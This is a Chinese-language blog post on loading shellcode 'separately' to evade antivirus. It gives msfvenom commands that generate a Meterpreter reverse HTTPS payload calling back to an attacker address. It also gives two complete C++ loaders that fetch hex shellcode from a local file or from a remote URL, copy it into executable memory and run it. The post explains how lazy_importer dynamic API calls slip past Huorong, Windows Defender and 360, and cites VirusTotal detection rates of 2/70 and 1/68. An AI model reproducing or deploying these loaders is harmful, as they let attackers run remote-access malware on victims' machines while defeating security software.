首页 > 系统相关 >Shellcode分离加载实现免杀的两种方式(VT免杀率:1/68)

Shellcode分离加载实现免杀的两种方式(VT免杀率:1/68)

时间:2023-05-24 16:00:10浏览次数:54  
标签:免杀 buffer character char 免杀率 VT include shellcode 加载

简介

本文详细介绍了如何通过文件加载和远程URL加载方式实现Shellcode分离加载,以规避安全软件的检测。文章首先描述了通过Metasploit Framework生成的shellcode文件加载的过程,并提供了相关的C++代码。

为了避免被杀毒软件检测,利用动态API调用和lazy_importer项目进行代码优化。其次,文章讨论了如何通过远程URL加载shellcode,也提供了相应的实现代码。整篇文章旨在帮助读者理解shellcode分离加载的具体实现过程和原理,同时通过实践操作增强对这一技术的掌握程度


一、通过文件加载

msf生成shellcode文件

使用msfvenom生成raw格式的文本文件, 但是raw格式的文本文件很容易就会被杀软查杀,为了防止通讯特征被检测到,此处我还做了msf流量加密,此处若想了解msf流量加密的朋友可以去看这篇文章:MSF流量加密

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt

1


为了不被杀软查杀,并将其保存为十六进制格式

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt

代码实现

这段代码的作用是从一个以十六进制表示的文件中读取shellcode,然后将其加载到内存中,并执行该shellcode

#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
using namespace std;

// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}


int main()
{   

    std::ifstream file("shellcode_hex.txt");  //打开指定文件
    
    size_t size;  //定义文件内容的字节数
    string contents; //定义文件内容
    
    //判断文件是否打开成功
    if (file.is_open()) {
        std::stringstream buffer; //创建一个stringstream对象
        buffer << file.rdbuf();  //将文件的内容复制到该流中
        contents = buffer.str();  //将stringstream对象的内容转换string,并将其存储在contents中

        size = contents.length()/2;  //由于两个十六进制相当于一个字节,因此文件内容长度需除以2
        file.close();  //关闭文件
    }
    
    //printf("%d\n", size); 
    //cout << contents;


    // 为存储转换后的shellcode分配内存
    unsigned char* buffer = (unsigned char*)malloc(size);
    
    // 调用函数将十六进制字符串转换为字节型数组
    hexStringToBytes(contents, buffer, size);

    // 在内存中分配一块可以执行的区域
    void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 将shellcode复制到该区域
    memcpy(exec, buffer, size);
    
    // 执行该shellcode
    ((void(*) ())exec)();
}

代码优化

火绒和WindowsDefender都报毒了, 其原因是内存申请函数VirtualAlloc被检测到了,那就使用动态调用api来绕过检测

1


导入lazy_importer项目来动态调用系统api, 然后在api函数前面添加上(LI_FN),并将函数参数的NULL替换成nullptr

1

修改完代码后360不会报毒了, 上传到virus Total中的进行检测,查杀率为2/70,效果还不错

1

1


二、通过远程url加载

http服务目录放置shellcode文件

另一种shellcode分离加载的方法是通过远程URL加载。首先,我们需要在HTTP服务目录放置shellcode文件,然后启用HTTP服务:python -m http.server 8000

1


代码实现

基于上述代码的基础上,添加了GetUrl_HexContent函数,其作用是从指定url下载内容并将其存储在给定的缓冲区中,随后加载至内存

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include "lazy_importer.hpp"

using namespace std;


// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

/**
 * 从指定的URL下载内容并将其存储到给定的缓冲区中。
 *
 * @param url 要下载的URL
 * @param buffer 存储下载内容的缓冲区
 * @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
 */
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD bufferSize = 0;
    DWORD contentLength = 0;
    DWORD index = 0;
    DWORD bufferLength = sizeof(bufferSize);

    // 打开一个与互联网的连接
    hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // 打开一个URL连接
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
    std::vector<char> hexBuffer(contentLength + 1, 0);

    // 读取URL返回的内容到hexBuffer中
    if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
    }
    else if (bytesRead > 0) {
        hexBuffer[bytesRead] = '\0';
        // 调整buffer的大小,以便存储转换后的字节数据
        buffer.resize(bytesRead / 2);
        // 将十六进制字符串转换为字节型数组
        hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
    }

    // 关闭连接
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
    return bytesRead / 2;
}


int main() {
    // 把这个URL换成你的shellcode文件的URL
    LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt"; 
    
    //存放恶意代码的数组
    std::vector<unsigned char> buffer;

    //获取远程url的16进制内容,并将其存放至buffer数组
    size_t size = GetUrl_HexContent(url, buffer);

    // 在内存中分配一块可以执行的区域
    char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 将shellcode复制到该区域
    memcpy(exec, buffer.data(), size);

    // 执行该shellcode
    ((void(*) ())exec)();

    // 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
    /*for (size_t i = 0; i < buffer.size(); i++) {
        printf("%02X ", buffer[i]);
        if ((i + 1) % 16 == 0) {
            printf("\n");
        }
    }*/

    return 0;
}

VirusTotal检测只有一个报毒

1

标签:免杀,buffer,character,char,免杀率,VT,include,shellcode,加载
From: https://www.cnblogs.com/henry666/p/17428579.html

相关文章

  • R语言有极值(EVT)依赖结构的马尔可夫链(MC)对洪水极值分析|附代码数据
    阅读全文:http://tecdat.cn/?p=17375最近我们被客户要求撰写关于马尔可夫链的研究报告,包括一些图形和统计输出。为了帮助客户使用POT模型,本指南包含有关使用此模型的实用示例。本文快速介绍了极值理论(EVT)、一些基本示例,最后则通过案例对河流的极值进行了具体的统计分析 EVT的介......
  • MATLAB用GARCH-EVT-Copula极值理论模型VaR预测分析股票投资组合|附代码数据
    全文链接:http://tecdat.cn/?p=30426最近我们被客户要求撰写关于GARCH-EVT-Copula的研究报告,包括一些图形和统计输出。对VaR计算方法的改进,以更好的度量开放式基金的风险。本项目把基金所持股票看成是一个投资组合,引入Copula来描述多只股票间的非线性相关性,构建多元GARCH-EVT-Cop......
  • VTK 视角的旋转、平移、缩放
    在CAD/CAM软件中,都需要旋转、平移和缩放视角,来观察操作图形。由于VTK定义的交互的类型不是很适用,所有通过定义一套自己的交互方式。在下面代码中,鼠标左键平移,滚轮缩放,右键旋转。先定义一个交互类型。继承自vtkInteractorStyleTrackballCamera,并且交换按键。classNormal3DCame......
  • VTK 设置面片背面颜色
    在上一篇文章切开了零件,发现零件内部和外部颜色一样,当需要不一样时,可以通过actor的SetBackfaceProperty方法设置背面属性。代码跟上一篇几乎一样,只是给actor设置了SetBackfaceProperty。//定义背面材质属性vtkNew<vtkProperty>backfaceProp;backfaceProp->SetDiffuseColor(0......
  • VTK 平面裁剪
    有些时候需要显示零件内部情况,所有会对零件显示进行平面裁剪,这里用到了vtkPlane和vtkClipPolyData。vtkPlane是定义一个平面,vtkClipPolyData使用vtkPlane定义的平面进行裁剪。下面列出主要的代码,其他Qt框架代码参考前面文章。QSurfaceFormat::setDefaultFormat(QVTKOpenGLNati......
  • VTK 显示3D网格线
    在VTK9.1.0在Windows10+VS2019+Qt5.15.2环境下编译安装的Qt例子中,想显示球体表面的网格线。通过vtkExtractEdges来实现显示全部网格线QSurfaceFormat::setDefaultFormat(QVTKOpenGLNativeWidget::defaultFormat());vtkNew<vtkRenderer>renderer;vtkNew<vtkNam......
  • VTK 9.2 Qt 5.14 安装及错误处理
    参考VTK9.1.0在Windows10+VS2019+Qt5.15.2环境下编译安装以及VTK应用于QT_vtk-qt安装包_isongxw的博客-CSDN博客安装注意:编译release和debug,通过切换配置为release和debug,文件都是在cmake的CMAKE_INSTALL_PREFIX指定的文件夹,需要编译完一种后,把这个文件夹改名(比如debug配置,则改......
  • EKF_SOC_Estimation函数使用二阶RC等效电路模型估算电池的端电压(Vt)和充电状态(SOC)。
    EKF_SOC_Estimation函数使用二阶RC等效电路模型估算电池的端电压(Vt)和充电状态(SOC)。该功能可以使用扩展卡尔曼滤波器(EKF)或自适应扩展卡尔曼滤波器(AEKF)。用户还可以选择估算-20℃至40℃的SOC。其中包括一个样品LA92行驶周期,电池参数(包括内部电阻)和Turnigy电池的SOC-OCV曲线。SOC......
  • 作为java的一个库来使用wvtool
    该WVTool可作为一个独立的Java库或RapidMiner环境的一个插件来使用。在这里,我们将主要讨论WVTool作为一个java库来使用是如何实现的。1.1安装作为Java库使用WVTool,首先从SourceForge上WVTool/homepage1上下载wvtool包,解压缩档案,并把wvtool.jar文件和所有的jar文件放置到lib子目......
  • 河北稳控科技多通道振弦传感器采集仪VTN416P(H)接口定义
    河北稳控科技多通道振弦传感器采集仪VTN416P(H)接口定义 端子定义记忆口诀:不管什么功能的端子,右侧均是负。所以,传感器端子最右两个是频率正负,电源端子从左往右是正负,不需要考虑端子在上侧还是下侧不管怎么处理、谁在现场检查,不需要看手册,只记住一句话就行,“右侧是负”,见下图。......